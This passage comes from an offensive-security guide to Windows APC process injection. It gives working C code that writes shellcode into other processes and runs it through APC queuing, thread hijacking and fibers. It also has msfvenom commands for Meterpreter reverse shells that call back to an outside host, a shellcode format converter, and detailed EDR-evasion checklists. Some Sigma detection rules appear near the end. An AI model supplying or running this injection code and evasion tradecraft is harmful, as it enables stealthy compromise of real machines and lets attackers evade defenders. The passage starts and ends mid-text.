unsigned char shellcode[] = { /* shellcode bytes */ 0xcc };
SIZE_T shellcode_len = sizeof(shellcode);
int main(int argc, char* argv[]) {
if (argc < 3) {
printf("Usage: %s <pid> <tid>\n", argv[0]);
return 1;
}
DWORD target_pid = (DWORD)atoi(argv[1]);
DWORD target_tid = (DWORD)atoi(argv[2]);
// ── Resolve NtQueueApcThreadEx from ntdll ────────────────
// Note: For real use, use direct syscall (SysWhispers) to avoid hook
HMODULE hNtdll = GetModuleHandleA("ntdll.dll");
pNtQueueApcThreadEx NtQueueApcThreadEx_fn = (pNtQueueApcThreadEx)
GetProcAddress(hNtdll, "NtQueueApcThreadEx");
if (!NtQueueApcThreadEx_fn) {
printf("[-] NtQueueApcThreadEx not found (check Windows version >= 1809)\n");
return 1;
}
printf("[+] NtQueueApcThreadEx: 0x%p\n", NtQueueApcThreadEx_fn);
// ── Open process, allocate, write shellcode ──────────────
HANDLE hProcess = OpenProcess(
PROCESS_VM_WRITE | PROCESS_VM_OPERATION,
FALSE, target_pid
);
LPVOID remote_buf = VirtualAllocEx(hProcess, NULL, shellcode_len,
MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
WriteProcessMemory(hProcess, remote_buf, shellcode, shellcode_len, NULL);
DWORD old;
VirtualProtectEx(hProcess, remote_buf, shellcode_len, PAGE_EXECUTE_READ, &old);
printf("[+] Shellcode at: 0x%p\n", remote_buf);
// ── Open thread ──────────────────────────────────────────
HANDLE hThread = OpenThread(THREAD_SET_CONTEXT, FALSE, target_tid);
if (!hThread) {
printf("[-] OpenThread failed: %lu\n", GetLastError());
return 1;
}
// ── Queue SPECIAL USER APC ───────────────────────────────
// ReserveHandle = NULL → Special User APC path
// ApcFlags = QUEUE_USER_APC_FLAGS_SPECIAL_USER_APC (0x1)
NTSTATUS status = NtQueueApcThreadEx_fn(
hThread,
NULL, // ReserveHandle
QUEUE_USER_APC_FLAGS_SPECIAL_USER_APC, // ← Special User APC flag
(PVOID)remote_buf, // APC routine (shellcode)
NULL, // Arg1
NULL, // Arg2
NULL // Arg3
);
if (NT_SUCCESS(status)) {
printf("[+] Special User APC queued (no alertable state required)\n");
printf("[*] Shellcode will execute at next kernel exit\n");
} else {
printf("[-] NtQueueApcThreadEx failed: 0x%08X\n", status);
}
CloseHandle(hThread);
CloseHandle(hProcess);
return 0;
}
[OPSEC] NtQueueApcThreadEx with Special User APC is less well-known than QueueUserAPC but is increasingly monitored by advanced EDRs. ETW logs the event regardless of the delivery mechanism.
8. APC + CreateRemoteThread Hybrid
What it means: A hybrid technique where you create a remote thread in the target process but give it a benign entry point (e.g., LoadLibraryA, SleepEx) — not shellcode directly. The thread's only purpose is to immediately enter an alertable wait state (SleepEx(INFINITE, TRUE)), at which point it processes the shellcode APC you've already queued. This avoids some detection signatures of classic CRT-based injection while guaranteeing an alertable thread exists.
8.1 Hybrid Implementation (C)
// hybrid_apc.c — CreateRemoteThread → SleepEx → APC execution
#include <windows.h>
#include <stdio.h>
unsigned char shellcode[] = { /* shellcode bytes */ 0xcc };
SIZE_T shellcode_len = sizeof(shellcode);
int main(int argc, char* argv[]) {
if (argc < 2) { printf("Usage: %s <pid>\n", argv[0]); return 1; }
DWORD pid = (DWORD)atoi(argv[1]);
HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);
if (!hProcess) { printf("[-] OpenProcess: %lu\n", GetLastError()); return 1; }
// ── Allocate and write shellcode ─────────────────────────
LPVOID remote_sc = VirtualAllocEx(hProcess, NULL, shellcode_len,
MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
WriteProcessMemory(hProcess, remote_sc, shellcode, shellcode_len, NULL);
DWORD old;
VirtualProtectEx(hProcess, remote_sc, shellcode_len, PAGE_EXECUTE_READ, &old);
printf("[+] Shellcode at: 0x%p\n", remote_sc);
// ── Queue APC BEFORE creating the thread ─────────────────
// We need a thread handle — but thread doesn't exist yet.
// Strategy: Create thread first (to get TID), then queue APC.
// OR: Create thread pointing to SleepEx, queue APC after.
// Get SleepEx address (same in all processes — ntdll/kernel32 are at same VA)
LPVOID pSleepEx = GetProcAddress(GetModuleHandleA("kernel32.dll"), "SleepEx");
printf("[+] SleepEx: 0x%p\n", pSleepEx);
// Create remote thread pointing to SleepEx(INFINITE, TRUE)
// We pass TRUE as the alertable flag via the thread argument
// Note: CreateRemoteThread's lpParameter becomes argument to thread func
// SleepEx(DWORD ms, BOOL alertable) — we need to pass both args.
// Trick: use a small stub or shellcode that calls SleepEx(INFINITE, TRUE)
// Alertable sleep stub (x64):
// sub rsp, 28h ; align stack
// mov ecx, 0FFFFFFFFh ; INFINITE
// mov edx, 1 ; alertable = TRUE
// call SleepEx ; relative call (patch address)
// add rsp, 28h
// ret
unsigned char sleep_stub[] = {
0x48, 0x83, 0xEC, 0x28, // sub rsp, 28h
0xB9, 0xFF, 0xFF, 0xFF, 0xFF, // mov ecx, 0xFFFFFFFF (INFINITE)
0xBA, 0x01, 0x00, 0x00, 0x00, // mov edx, 1 (alertable)
0x48, 0xB8, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, // mov rax, [SleepEx address — patch below]
0xFF, 0xD0, // call rax
0x48, 0x83, 0xC4, 0x28, // add rsp, 28h
0xC3 // ret
};
// Patch SleepEx address into stub at offset 16
*(UINT64*)(sleep_stub + 16) = (UINT64)pSleepEx;
LPVOID remote_stub = VirtualAllocEx(hProcess, NULL, sizeof(sleep_stub),
MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
WriteProcessMemory(hProcess, remote_stub, sleep_stub, sizeof(sleep_stub), NULL);
printf("[+] Sleep stub at: 0x%p\n", remote_stub);
// Create thread running the alertable sleep stub
HANDLE hThread = CreateRemoteThread(
hProcess,
NULL,
0,
(LPTHREAD_START_ROUTINE)remote_stub,
NULL,
0,
NULL
);
if (!hThread) { printf("[-] CreateRemoteThread: %lu\n", GetLastError()); return 1; }
printf("[+] Remote thread created (calling alertable SleepEx)\n");
// Give stub time to enter alertable wait
Sleep(100);
// Queue APC to the newly created alertable thread
if (QueueUserAPC((PAPCFUNC)remote_sc, hThread, 0)) {
printf("[+] APC queued to alertable thread\n");
printf("[*] Shellcode executing...\n");
} else {
printf("[-] QueueUserAPC: %lu\n", GetLastError());
}
CloseHandle(hThread);
CloseHandle(hProcess);
return 0;
}
[DETECT] This hybrid still triggers Sysmon Event 8 (CreateRemoteThread). The advantage is the payload runs via APC — but the thread creation itself is logged. Consider pairing with process hollowing or Early Bird instead.
9. Self-Injection via APC (Current Process)
What it means: Instead of injecting into another process, queue the APC to a thread within your own process. This avoids OpenProcess entirely (no cross-process handle open) and removes a major detection signal. Common pattern: allocate shellcode in your own process memory, queue APC to your own thread, then call SleepEx(INFINITE, TRUE) to trigger it — shellcode runs in your own context.
9.1 Self-APC Implementation (C)
// self_apc.c — Self-injection via APC into own process/thread
// No OpenProcess, no WriteProcessMemory, no cross-process operations
#include <windows.h>
#include <stdio.h>
unsigned char shellcode[] = {
// x64 calc.exe shellcode (example)
0xfc, 0x48, 0x83, 0xe4, 0xf0, /* ... */ 0xc3
};
// APC callback — called when thread processes APC queue
VOID CALLBACK APCCallback(ULONG_PTR param) {
// param = address of shellcode (passed as dwData in QueueUserAPC)
void (*shellcode_func)() = (void(*)())param;
shellcode_func();
}
int main() {
SIZE_T sc_len = sizeof(shellcode);
// ── Allocate in OWN process (no VirtualAllocEx needed) ───
LPVOID local_buf = VirtualAlloc(
NULL,
sc_len,
MEM_COMMIT | MEM_RESERVE,
PAGE_READWRITE
);
if (!local_buf) { printf("[-] VirtualAlloc failed\n"); return 1; }
// ── Copy shellcode ────────────────────────────────────────
memcpy(local_buf, shellcode, sc_len);
// ── Change to RX ──────────────────────────────────────────
DWORD old;
VirtualProtect(local_buf, sc_len, PAGE_EXECUTE_READ, &old);
printf("[+] Shellcode at: 0x%p\n", local_buf);
// ── Queue APC to OWN CURRENT THREAD ──────────────────────
// GetCurrentThread() returns pseudo-handle — valid for QueueUserAPC
if (!QueueUserAPC(APCCallback, GetCurrentThread(), (ULONG_PTR)local_buf)) {
printf("[-] QueueUserAPC: %lu\n", GetLastError());
return 1;
}
printf("[+] APC queued to current thread\n");
// ── Enter alertable wait → APC dispatched ─────────────────
printf("[*] Entering SleepEx(alertable) — APC will fire now\n");
SleepEx(INFINITE, TRUE); // TRUE = alertable → processes APC queue
// APCCallback runs → shellcode executes → SleepEx returns WAIT_IO_COMPLETION
printf("[*] SleepEx returned (APC executed)\n");
return 0;
}
9.2 Self-APC with Multiple Thread Queuing
// Queue to a worker thread in your own process for cleaner execution
#include <windows.h>
#include <stdio.h>
unsigned char shellcode[] = { /* shellcode */ 0xcc };
// Worker thread: enters alertable wait immediately
DWORD WINAPI AlertableWorker(LPVOID param) {
printf("[*] Worker thread started (TID: %lu)\n", GetCurrentThreadId());
// Enter alertable wait — will process queued APCs
SleepEx(INFINITE, TRUE);
return 0;
}
int main() {
// Allocate and copy shellcode locally
LPVOID buf = VirtualAlloc(NULL, sizeof(shellcode),
MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
memcpy(buf, shellcode, sizeof(shellcode));
DWORD old;
VirtualProtect(buf, sizeof(shellcode), PAGE_EXECUTE_READ, &old);
// Create alertable worker thread
HANDLE hWorker = CreateThread(NULL, 0, AlertableWorker, NULL, 0, NULL);
if (!hWorker) { printf("[-] CreateThread: %lu\n", GetLastError()); return 1; }
printf("[+] Worker thread created\n");
Sleep(50); // Let worker enter alertable state
// Queue APC to worker thread
if (QueueUserAPC((PAPCFUNC)buf, hWorker, 0)) {
printf("[+] APC queued to worker thread\n");
}
WaitForSingleObject(hWorker, 5000);
CloseHandle(hWorker);
return 0;
}
[OPSEC] Self-APC generates almost no cross-process telemetry. The main signals are local VirtualAlloc with PAGE_EXECUTE_READ (or the write+protect pattern) and the QueueUserAPC call on self. Still visible to AMSI and ETW in-process monitoring.
10. Shellcode Payload Preparation
What it means: Raw shellcode must be prepared correctly before APC injection. Key concerns: position-independent code, null byte avoidance (for string-based transfers), memory permission flow (RW → RX), and staged vs stageless delivery. APC injection accepts any shellcode that can run in the context of the target thread — C2 stagers (Sliver, Havoc, Cobalt Strike, Meterpreter) or custom payloads all work.
10.1 Generate Shellcode (msfvenom)
# x64 reverse TCP (Meterpreter) — raw shellcode
msfvenom -p windows/x64/meterpreter/reverse_tcp \
LHOST=10.10.10.10 LPORT=4444 \
-f raw -o payload.bin
# x64 exec (calc.exe) — for testing
msfvenom -p windows/x64/exec \
CMD="calc.exe" \
-f c # C array format
# x64 Sliver shellcode (generate in Sliver console)
# sliver> generate --os windows --arch amd64 --format shellcode --save /tmp/sliver.bin
# x64 Havoc shellcode
# Havoc → Payload → Generate → Shellcode
# Check shellcode entropy and null bytes
python3 -c "
d = open('payload.bin','rb').read()
nulls = d.count(b'\x00')
print(f'Size: {len(d)} bytes | Null bytes: {nulls}')
from collections import Counter
import math
c = Counter(d); n = len(d)
e = -sum((v/n)*math.log2(v/n) for v in c.values())
print(f'Entropy: {e:.4f}')
"
10.2 Shellcode Format Converter
#!/usr/bin/env python3
# sc_format.py — Convert raw shellcode to various output formats
import sys
def raw_to_c_array(sc: bytes, var_name: str = "shellcode") -> str:
hex_bytes = ", ".join(f"0x{b:02x}" for b in sc)
lines = []
lines.append(f"unsigned char {var_name}[] = {{")
for i in range(0, len(sc), 12):
chunk = sc[i:i+12]
lines.append(" " + ", ".join(f"0x{b:02x}" for b in chunk) + ",")
lines.append("};")
lines.append(f"SIZE_T {var_name}_len = {len(sc)};")
return "\n".join(lines)
def raw_to_csharp(sc: bytes, var_name: str = "shellcode") -> str:
hex_bytes = ", ".join(f"0x{b:02x}" for b in sc)
lines = [f"byte[] {var_name} = new byte[{len(sc)}] {{"]
for i in range(0, len(sc), 12):
chunk = sc[i:i+12]
lines.append(" " + ", ".join(f"0x{b:02x}" for b in chunk) + ",")
lines.append("};")
return "\n".join(lines)
def raw_to_powershell(sc: bytes, var_name: str = "shellcode") -> str:
hex_bytes = ",".join(f"0x{b:02x}" for b in sc)
return f"[Byte[]] ${var_name} = {hex_bytes}"
def raw_to_base64(sc: bytes) -> str:
import base64
return base64.b64encode(sc).decode()
if __name__ == "__main__":
sc = open(sys.argv[1], "rb").read()
fmt = sys.argv[2] if len(sys.argv) > 2 else "c"
if fmt == "c":
print(raw_to_c_array(sc))
elif fmt == "cs":
print(raw_to_csharp(sc))
elif fmt == "ps1":
print(raw_to_powershell(sc))
elif fmt == "b64":
print(raw_to_base64(sc))
# Usage:
# python3 sc_format.py payload.bin c → C array
# python3 sc_format.py payload.bin cs → C# byte array
# python3 sc_format.py payload.bin ps1 → PowerShell byte array
# python3 sc_format.py payload.bin b64 → Base64 string
10.3 Memory Permission Flow (OPSEC)
// WRONG (noisy): Allocate RWX immediately
// RWX regions are a top EDR signature — never do this
LPVOID buf = VirtualAllocEx(hProcess, NULL, size, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
WriteProcessMemory(hProcess, buf, shellcode, size, NULL);
// QueueUserAPC pointing to buf ← RWX detected by memory scanner
// CORRECT: RW → write → RX (two-step)
// Step 1: Allocate RW (not executable)
LPVOID buf = VirtualAllocEx(hProcess, NULL, size, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
// Step 2: Write shellcode
WriteProcessMemory(hProcess, buf, shellcode, size, NULL);
// Step 3: Change to RX (executable but not writable)
DWORD old_protect;
VirtualProtectEx(hProcess, buf, size, PAGE_EXECUTE_READ, &old_protect);
// Step 4: Queue APC (buf is now RX, shellcode is there)
QueueUserAPC((PAPCFUNC)buf, hThread, 0);
11. Finding Alertable Threads
What it means: Classic APC injection fails if no thread in the target process is in an alertable wait. Before injecting, you need to enumerate threads and identify which ones are (or are likely to be) in alertable state. Several approaches: heuristic (checking thread wait reason via NtQuerySystemInformation), scanning the call stack, or targeting processes known to have alertable threads.
11.1 Enumerate Threads via NtQuerySystemInformation
// find_alertable.c — Find alertable threads using SYSTEM_PROCESS_INFORMATION
#include <windows.h>
#include <winternl.h>
#include <stdio.h>
// Thread wait reason values (from NT internals)
// WrUserRequest (6), WrAlertByThreadId (17) → NOT alertable
// Waiting (5) with alertable flag = alertable
// Most reliable: check WaitReason == 5 (Suspended) or use stack scan
#define SystemProcessInformation 5
typedef NTSTATUS (NTAPI *pNtQuerySystemInformation)(
ULONG SystemInformationClass,
PVOID SystemInformation,
ULONG SystemInformationLength,
PULONG ReturnLength
);
// Thread wait reasons (WaitReason field in SYSTEM_THREAD_INFORMATION)
const char* WaitReasons[] = {
"Executive", // 0 — general kernel wait
"FreePage", // 1
"PageIn", // 2
"PoolAllocation", // 3
"DelayExecution", // 4 ← NtDelayExecution (SleepEx alertable!)
"Suspended", // 5
"UserRequest", // 6 ← WaitForSingleObject (may be alertable)
"WrExecutive", // 7
"WrFreePage", // 8
"WrPageIn", // 9
"WrPoolAllocation", // 10
"WrDelayExecution", // 11 ← alertable delay
"WrSuspended", // 12
"WrUserRequest", // 13 ← alertable user request (HIGH CHANCE)
"WrEventPair", // 14
"WrQueue", // 15 ← IOCP / completion port wait
"WrLpcReceive", // 16
"WrLpcReply", // 17
"WrVirtualMemory", // 18
"WrPageOut", // 19
"WrRendezvous", // 20
};
void FindAlertableThreads(DWORD target_pid) {
pNtQuerySystemInformation NtQSI = (pNtQuerySystemInformation)
GetProcAddress(GetModuleHandleA("ntdll.dll"), "NtQuerySystemInformation");
ULONG buf_size = 1024 * 1024; // 1MB initial buffer
PVOID buf = HeapAlloc(GetProcessHeap(), 0, buf_size);
ULONG ret_len = 0;
NTSTATUS st = NtQSI(SystemProcessInformation, buf, buf_size, &ret_len);
while (st == 0xC0000004L) { // STATUS_INFO_LENGTH_MISMATCH
buf_size = ret_len + 4096;
buf = HeapReAlloc(GetProcessHeap(), 0, buf, buf_size);
st = NtQSI(SystemProcessInformation, buf, buf_size, &ret_len);
}
SYSTEM_PROCESS_INFORMATION* proc = (SYSTEM_PROCESS_INFORMATION*)buf;
while (TRUE) {
if ((DWORD)(ULONG_PTR)proc->UniqueProcessId == target_pid) {
printf("[*] PID %lu — %lu threads:\n", target_pid, proc->NumberOfThreads);
SYSTEM_THREAD_INFORMATION* threads = (SYSTEM_THREAD_INFORMATION*)(proc + 1);
for (ULONG i = 0; i < proc->NumberOfThreads; i++) {
DWORD tid = (DWORD)(ULONG_PTR)threads[i].ClientId.UniqueThread;
ULONG wait_reason = threads[i].WaitReason;
ULONG thread_state = threads[i].ThreadState; // 5 = Waiting
const char* reason_str = (wait_reason < 21) ? WaitReasons[wait_reason] : "Unknown";
// Heuristic: likely alertable if waiting in DelayExecution or UserRequest
BOOL likely_alertable = (wait_reason == 4 || wait_reason == 11 ||
wait_reason == 13 || wait_reason == 6 ||
wait_reason == 15);
printf(" TID %6lu | State: %lu | WaitReason: %2lu (%s)%s\n",
tid, thread_state, wait_reason, reason_str,
likely_alertable ? " ← LIKELY ALERTABLE" : "");
}
break;
}
if (!proc->NextEntryOffset) break;
proc = (SYSTEM_PROCESS_INFORMATION*)((BYTE*)proc + proc->NextEntryOffset);
}
HeapFree(GetProcessHeap(), 0, buf);
}
int main(int argc, char* argv[]) {
if (argc < 2) { printf("Usage: %s <pid>\n", argv[0]); return 1; }
FindAlertableThreads((DWORD)atoi(argv[1]));
return 0;
}
11.2 Stack-Based Alertable Check (Via Thread Context)
// More reliable: suspend thread, walk its call stack,
// check if RIP is inside an alertable wait function in ntdll
// Known RVAs (or exports) to check against:
// ntdll!NtDelayExecution ← SleepEx → this
// ntdll!NtWaitForSingleObject ← WaitForSingleObjectEx → this
// ntdll!NtWaitForMultipleObjects ← WaitForMultipleObjectsEx → this
// ntdll!ZwDelayExecution ← alias
// Check if thread's current IP is inside ntdll wait functions:
BOOL IsThreadAlertable(HANDLE hThread, HANDLE hProcess) {
// Suspend the thread to safely read its context
if (SuspendThread(hThread) == (DWORD)-1) return FALSE;
CONTEXT ctx = { .ContextFlags = CONTEXT_CONTROL };
BOOL alertable = FALSE;
if (GetThreadContext(hThread, &ctx)) {
HMODULE hNtdll = GetModuleHandleA("ntdll.dll");
PVOID ntdll_base = (PVOID)hNtdll;
// Check if RIP falls within known alertable wait functions
// (simplified — real implementation walks stack)
UINT64 rip = ctx.Rip;
UINT64 ntdll_start = (UINT64)ntdll_base;
UINT64 ntdll_end = ntdll_start + 0x200000; // rough ntdll size
// More precise: check against function boundaries of NtDelayExecution etc.
PVOID pNtDelay = GetProcAddress(hNtdll, "NtDelayExecution");
PVOID pNtWait = GetProcAddress(hNtdll, "NtWaitForSingleObject");
PVOID pNtWaitM = GetProcAddress(hNtdll, "NtWaitForMultipleObjects");
// If RIP is within ~0x20 bytes of the stub start → currently in syscall
alertable = (
(rip >= (UINT64)pNtDelay && rip < (UINT64)pNtDelay + 0x20) ||
(rip >= (UINT64)pNtWait && rip < (UINT64)pNtWait + 0x20) ||
(rip >= (UINT64)pNtWaitM && rip < (UINT64)pNtWaitM + 0x20)
);
}
ResumeThread(hThread);
return alertable;
}
[OPSEC] SuspendThread + GetThreadContext on a foreign process thread is itself a detectable pattern. Use the NtQuerySystemInformation heuristic approach (no thread suspension needed) for lower noise.
12. APC Injection via Fibers
What it means: Fibers are user-mode "mini-threads" that Windows supports natively. A fiber is manually scheduled — it only runs when explicitly switched to via SwitchToFiber(). Red teamers abuse fibers as a shellcode execution primitive: convert a thread to a fiber, allocate a fiber pointing to shellcode, then switch to it. Not APC in the strict sense, but often used in combination with APC-based injection for payload execution, and shares the "no new thread" detection avoidance property.
12.1 Fiber-Based Shellcode Execution (Self)
// fiber_exec.c — Shellcode execution via Windows Fibers
// No new threads, no cross-process operations
#include <windows.h>
#include <stdio.h>
unsigned char shellcode[] = {
// x64 shellcode here
0xcc // int3 — placeholder
};
int main() {
SIZE_T sc_len = sizeof(shellcode);
// Allocate RW memory for shellcode
PVOID sc_mem = VirtualAlloc(NULL, sc_len,
MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
memcpy(sc_mem, shellcode, sc_len);
// Change to RX
DWORD old;
VirtualProtect(sc_mem, sc_len, PAGE_EXECUTE_READ, &old);
printf("[+] Shellcode at: 0x%p\n", sc_mem);
// ── Convert current thread to a fiber ────────────────────
// This is required before calling CreateFiber
LPVOID main_fiber = ConvertThreadToFiber(NULL);
if (!main_fiber) {
printf("[-] ConvertThreadToFiber: %lu\n", GetLastError());
return 1;
}
printf("[+] Main fiber: 0x%p\n", main_fiber);
// ── Create a fiber pointing to shellcode ──────────────────
LPVOID sc_fiber = CreateFiber(
0, // Default stack size
(LPFIBER_START_ROUTINE)sc_mem, // Fiber function = shellcode
NULL // Parameter
);
if (!sc_fiber) {
printf("[-] CreateFiber: %lu\n", GetLastError());
return 1;
}
printf("[+] Shellcode fiber: 0x%p\n", sc_fiber);
// ── Switch to shellcode fiber → executes shellcode ────────
printf("[*] Switching to shellcode fiber...\n");
SwitchToFiber(sc_fiber); // Shellcode runs here
// If shellcode returns control:
printf("[*] Fiber returned\n");
DeleteFiber(sc_fiber);
return 0;
}
[OPSEC] Fiber-based execution has minimal syscall footprint — no CreateThread, no cross-process calls. However, CreateFiber + SwitchToFiber as a shellcode execution path is a known pattern. Combine with encryption and indirect calls.
13. Kernel APC vs User APC
What it means: Windows has two APC types operating at different privilege levels. User APC (what we've been using) runs in user mode in the thread's context. Kernel APC runs in kernel mode. Understanding the distinction is important for both exploitation and for understanding why certain techniques work or fail.
13.1 Comparison Table
Feature │ Kernel APC │ User APC
─────────────────────┼──────────────────────┼────────────────────────
Execution mode │ Kernel mode (ring 0) │ User mode (ring 3)
Requires alertable? │ NO │ YES (or Special User APC)
Thread state needed │ Any (not disabled) │ Alertable wait
APC queue │ ApcListHead[0] │ ApcListHead[1]
Delivery timing │ At any kernel exit │ At alertable wait
Who can queue │ Kernel code only │ Any user-mode process
IRQL │ APC_LEVEL (1) │ PASSIVE_LEVEL (0)
Use for injection │ Rootkit/driver only │ Standard technique
Examples │ I/O completion, APC │ QueueUserAPC, NtQueueApcThread
│ termination signals │ NtQueueApcThreadEx
13.2 APC State in KTHREAD (Kernel Perspective)
KTHREAD (simplified):
KernelApcDisable ← If != 0: kernel APCs are disabled for this thread
UserApcPending ← Set to 1 when a user APC is queued
ApcQueueable ← Must be TRUE to accept APCs
APC delivery guards:
├─ Thread.KernelApcDisable != 0 → kernel APC blocked
├─ Thread.SpecialApcDisable != 0 → special APC blocked
└─ Thread in critical region → APCs delayed until exit
When KeInsertQueueApc() is called (kernel):
1. Acquires APC queue spinlock
2. Inserts KAPC into appropriate list (kernel/user)
3. Sets pending flag
4. If thread is alertable (user APC) → alerts the thread
→ Thread wakes from wait → KiDeliverApc() called
14. Detection & Evasion
14.1 Detection Vectors
[DETECT] How defenders identify APC injection:
1. QueueUserAPC / NtQueueApcThread API hooking
├─ EDR hooks these in ntdll.dll (user-land hooks)
├─ Hook inspects: target thread, APC routine address
├─ Red flag: APC routine points to non-module memory
└─ Bypass: Direct syscalls (see §6)
2. ETW (Event Tracing for Windows)
├─ Microsoft-Windows-Kernel-Process: Thread events
├─ Thread APC queue events logged at kernel level
├─ Cannot be disabled from user mode (kernel provider)
└─ Bypass: Kernel-level ETW patching (driver/rootkit required)
3. Memory scanning
├─ EDR scans for RWX regions (VirtualAllocEx + PAGE_EXECUTE_READWRITE)
├─ Unbacked executable memory (not backed by a mapped file/PE)
├─ Shellcode signatures in memory
└─ Bypass: RW→RX allocation, encrypted shellcode, reflective loading
4. OpenProcess on target (for cross-process injection)
├─ Sysmon Event 10 (ProcessAccess): Logged when process opened
├─ Access mask PROCESS_ALL_ACCESS is highly suspicious
└─ Bypass: Minimum required rights only; handle inheritance tricks
5. CreateProcess with CREATE_SUSPENDED (Early Bird)
├─ CREATE_SUSPENDED flag logged
├─ Pattern: CreateProcess(suspended) + WriteProcessMemory + Resume
├─ Sequence timing is a detection heuristic
└─ Bypass: Randomize timing; use legitimate-looking host process
6. Sysmon Event 8 (CreateRemoteThread) — for hybrid only
├─ Fired when CreateRemoteThread is called
└─ Bypass: Don't use CRT — pure APC (Early Bird avoids this)
7. Thread context scanning (call stack)
├─ EDR inspects thread call stacks looking for shellcode frames
├─ Unbacked return addresses in call stack
└─ Bypass: Call stack spoofing; return address masking
8. NtQueueApcThreadEx with Special User APC
├─ Newer EDRs specifically monitor this flag
├─ Much less common in legitimate software
└─ Bypass: Use standard APC if an alertable thread is available
14.2 Evasion Strategies
[EVASION] How to make APC injection harder to detect:
1. Direct syscalls (bypass ntdll hooks)
└─ SysWhispers3 / HellsGate / FreshyCalls
└─ Use for: NtQueueApcThread, NtAllocateVirtualMemory,
NtWriteVirtualMemory, NtProtectVirtualMemory
2. RW → RX memory flow (no RWX)
└─ Allocate PAGE_READWRITE → write → VirtualProtect(PAGE_EXECUTE_READ)
└─ Avoids RWX signature that every EDR looks for
3. Target processes with known alertable threads
└─ svchost.exe (service threads, I/O completion ports)
└─ SearchIndexer.exe (constant I/O waits)
└─ Avoids needing to create CRT or alertable thread yourself
4. PPID spoofing + Early Bird
└─ Spoof parent process to make spawned process look legitimate
└─ CreateProcess via UpdateProcThreadAttribute + PROC_THREAD_ATTRIBUTE_PARENT_PROCESS
└─ Combine with Early Bird for stealthiest injection path
5. Encrypted shellcode — decrypt at APC callback time
└─ Store encrypted blob in allocation
└─ APC callback: decrypt in-place → execute
└─ Memory scanner never sees raw shellcode bytes
6. Stomp a writable+executable section of a legitimate module
└─ Find RX section of a DLL in target (e.g., .text of a big DLL)
└─ Change protection → RW → write shellcode → back to RX
└─ Shellcode is now "backed" by a module (looks legitimate)
└─ Technique: Module Stomping / DLL Hollowing
7. Thread stack spoofing (avoid unbacked frames in call stack)
└─ Spoof return address so call stack looks clean
└─ Requires custom shellcode stub or tooling
8. Avoid queuing to ALL threads (noisy)
└─ Classic APC queues to every thread for reliability
└─ Better OPSEC: identify one alertable thread and target only it
└─ Fewer APC queue events = less noise
14.3 Detection Rules (Sigma / Sysmon)
# Sigma — APC injection sequence detection
title: Potential APC Code Injection
status: experimental
logsource:
category: process_access
product: windows
detection:
selection:
GrantedAccess|contains:
- '0x1fffff' # PROCESS_ALL_ACCESS
- '0x143a' # VM_WRITE + VM_OPERATION + QUERY + SET_CONTEXT
CallTrace|contains: 'UNKNOWN'
condition: selection
level: high
---
title: CreateProcess Suspended Followed by VirtualAllocEx (Early Bird)
status: experimental
logsource:
category: process_creation
product: windows
detection:
selection:
# Child processes of unusual parents in suspended state are hard
# to detect via process create events alone.
# Correlate: process created + immediately WriteProcessMemory + resume
ParentImage|endswith:
- '\powershell.exe'
- '\wscript.exe'
- '\mshta.exe'
Image|endswith:
- '\svchost.exe'
- '\dllhost.exe'
- '\RuntimeBroker.exe'
condition: selection
level: medium
---
# Sysmon config — monitor QueueUserAPC-related thread access
# sysmon_config.xml:
# <ProcessAccess onmatch="include">
# <GrantedAccess condition="is">0x143a</GrantedAccess>
# <GrantedAccess condition="is">0x1fffff</GrantedAccess>
# </ProcessAccess>
14.4 EDR Evasion Checklist
Pre-injection:
☐ Use direct syscalls (SysWhispers3) for all NT* API calls
☐ Encrypt shellcode at rest — decrypt only at execution time
☐ Avoid RWX allocations — use RW → write → RX
☐ Choose target with confirmed alertable threads
☐ Spoof PPID if spawning new process (Early Bird)
Injection:
☐ Minimize access rights on OpenProcess / OpenThread
☐ Queue APC to ONE identified alertable thread (not all threads)
☐ Use NtQueueApcThread via direct syscall (not QueueUserAPC)
☐ Delay between WriteProcessMemory and QueueUserAPC (randomize)
Post-injection:
☐ Close process and thread handles immediately after injection
☐ Free injection stubs if no longer needed
☐ Change memory permissions after shellcode runs (RX → RW → dealloc)
☐ Avoid letting shellcode leave RX memory regions unbacked
15. Comparison Matrix
| Technique | New Thread | Alertable Needed | Cross-Process | OPSEC | Complexity | Reliability | EDR Noise |
|---|---|---|---|---|---|---|---|
| Classic APC (QueueUserAPC) | NO | YES | YES | Medium | Low | Low–Med | Medium |
| Early Bird APC | NO (new proc) | NO (suspended) | YES | High | Medium | Very High | Low |
| NtQueueApcThread (direct syscall) | NO | YES | YES | High | Medium | Low–Med | Low |
| NtQueueApcThreadEx (Special APC) | NO | NO | YES | High | Medium | Very High | Low–Med |
| CRT + APC hybrid | YES | NO (we create it) | YES | Medium | Medium | High | Medium–High |
| Self-APC (own process) | NO | YES (self) | NO | Very High | Low | High | Very Low |
| Fiber execution | NO | NO | NO | Very High | Low | High | Very Low |
| Classic CreateRemoteThread | YES | NO | YES | Very Low | Trivial | High | Very High |
16. Cheat Sheet
Quick Workflow — APC Injection
# ── GENERATE SHELLCODE ─────────────────────────────────────────
# x64 reverse shell
msfvenom -p windows/x64/meterpreter/reverse_tcp \
LHOST=10.10.10.10 LPORT=4444 -f c -o shellcode.h
# x64 Sliver shellcode (in Sliver console):
# generate --os windows --arch amd64 --format shellcode --save /tmp/sliver.bin
# Then convert:
# python3 sc_format.py /tmp/sliver.bin c > shellcode.h
# ── CHOOSE YOUR TECHNIQUE ──────────────────────────────────────
# Need reliable injection into existing process?
# → NtQueueApcThreadEx (Special User APC) — no alertable needed
# → Target svchost.exe / SearchIndexer.exe (always alertable)
#
# Need cleanest execution, own new process?
# → Early Bird: CreateProcess(SUSPENDED) + inject + resume
#
# Red team / stealth priority?
# → Direct syscalls (SysWhispers3) for all NT* calls
# → RW → write → RX memory flow
# → Target one identified alertable thread only
Key API Quick Reference
// ── Win32 APIs ──────────────────────────────────────────────
OpenProcess(PROCESS_VM_WRITE|PROCESS_VM_OPERATION, FALSE, pid);
VirtualAllocEx(hProc, NULL, size, MEM_COMMIT|MEM_RESERVE, PAGE_READWRITE);
